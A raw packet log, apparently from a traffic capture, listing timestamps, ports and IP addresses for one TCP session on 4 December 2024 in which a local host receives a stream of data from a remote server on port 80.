Dec 4, 2024 16:11:02.728740931 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.728849888 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.729621887 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.729765892 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.729830027 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.730568886 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.730698109 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.730765104 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.731614113 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.731698990 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.731779099 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.732522011 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.732645035 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.732707024 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.733534098 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.733649969 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.733797073 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.734453917 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.734599113 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.734702110 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.735495090 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.735554934 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.735625029 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.736407042 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.736498117 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.736558914 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.737399101 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.737520933 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.737574100 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.738341093 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.738459110 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.738548994 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.739376068 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.739450932 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.739527941 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.740309954 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.740396023 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.740504026 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.741319895 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.741425037 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.741485119 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.742439032 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.742517948 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.742578983 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.743280888 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.743474007 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.743556023 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.744246006 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.744296074 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.744349003 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.745203018 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.745276928 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.745374918 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.746243000 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.746373892 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.746438980 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.747145891 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.747230053 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.747287989 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.748167992 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.748250961 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.748291969 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.749253035 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.749337912 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.749385118 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.750102043 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.750171900 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.750225067 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.751152039 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.751230955 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.751334906 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.752224922 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.752330065 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.752434969 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.752959013 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.753070116 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.753177881 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.753951073 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.754127026 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.754173994 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.754898071 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.755052090 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.755101919 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.756109953 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.756226063 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.756337881 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.757036924 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.757050037 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.757108927 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.757857084 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.757956028 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.758023024 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.758830070 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.758908033 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.758970976 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.759907007 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.759929895 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.759989977 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.760801077 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.760823011 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.760889053 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.880830050 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.881012917 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.881345987 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.881418943 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.881458998 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.881458998 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.882258892 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.882359028 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.882781029 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.883213997 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.905647993 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.905709028 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.905755997 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.906126976 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.906246901 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.906352997 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.906418085 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.906501055 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.907326937 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.907494068 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.907565117 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.908267975 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.908406973 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.908469915 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.909349918 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.909368992 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.909421921 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.910315037 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.910444975 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.910501003 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.911226034 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.911349058 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.911432981 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.912214041 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.912286043 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.912344933 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.913161993 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.913191080 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.913395882 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.914153099 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.914248943 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.914300919 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.915189028 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.915294886 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.915350914 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.916208982 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.916300058 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.916379929 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.917156935 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.917256117 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.917318106 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.918098927 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.918148041 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.918304920 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.919044971 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.919105053 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.919173002 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.919996977 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.920106888 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.920224905 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.921001911 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.921071053 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.921130896 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.921936989 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.922013998 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.922065973 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.922941923 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.923043013 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.923105955 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.923891068 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.923947096 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.924010992 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.924854040 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.924966097 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.925067902 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.925913095 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.925987959 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.926070929 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.926892042 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.926991940 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.927066088 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.927798033 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.927855968 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.927969933 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.928782940 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.928910971 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.928987026 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.929867983 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.929948092 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.930006027 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.930769920 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.930906057 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.930978060 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.931687117 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.931791067 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.931843042 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.932682037 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.932732105 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.932800055 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.933701038 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.933772087 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.933840036 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.934639931 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.934710026 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.934755087 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.935697079 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.935709953 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.935820103 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.936553001 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.936626911 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.936753035 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.937547922 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.937592030 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.937644005 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.938563108 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.938719988 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.938774109 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.939579010 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.939706087 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.939760923 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.940537930 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.940737963 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.940807104 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.941656113 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.941739082 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.941807985 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.942440987 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.942502022 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.942574978 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.943536043 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.943586111 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.943636894 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.944459915 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.944677114 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.944732904 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.945405006 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.945445061 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.945537090 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.946316004 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.946453094 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.946506977 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.947360039 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.947491884 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.947582006 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.948333025 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.948398113 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.948453903 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.949362040 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.949430943 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.949537039 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.950268984 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.950344086 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.950398922 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.951281071 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.951348066 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.951422930 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.952178001 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.952352047 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.952416897 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.953219891 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.953283072 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.953322887 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.073193073 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.073379993 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.073472023 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.073770046 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.073863983 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.073926926 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.074738979 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.074822903 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.074894905 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.075692892 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.098248005 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.098330975 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.098407030 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.098777056 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.098831892 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.098846912 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.099751949 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.099816084 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.099822998 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.100723028 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.100811005 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.100831032 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.101769924 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.101830959 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.101835012 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.102648973 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.102731943 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.102758884 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.103729963 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.103785992 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.103811979 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.104624987 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.104680061 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.104806900 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.105653048 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.105742931 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.105809927 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.106643915 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.106700897 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.106719017 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.107537985 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.107599020 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.107605934 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.108530998 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.108566999 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.108588934 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.109512091 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.109565973 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.109730005 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.110440969 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.110517025 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.110538960 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.111481905 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.111610889 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.111618042 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.112382889 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.112458944 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.112488031 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.113365889 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.113439083 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.113466978 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.114382982 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.114448071 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.114608049 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.115339041 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.115477085 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.115485907 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.116328001 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.116363049 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.116409063 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.117280960 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.117300034 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.117352009 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.118228912 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.118288040 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.118304968 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.119292974 CET	80	49724	185.215.113.16	192.168.2.12
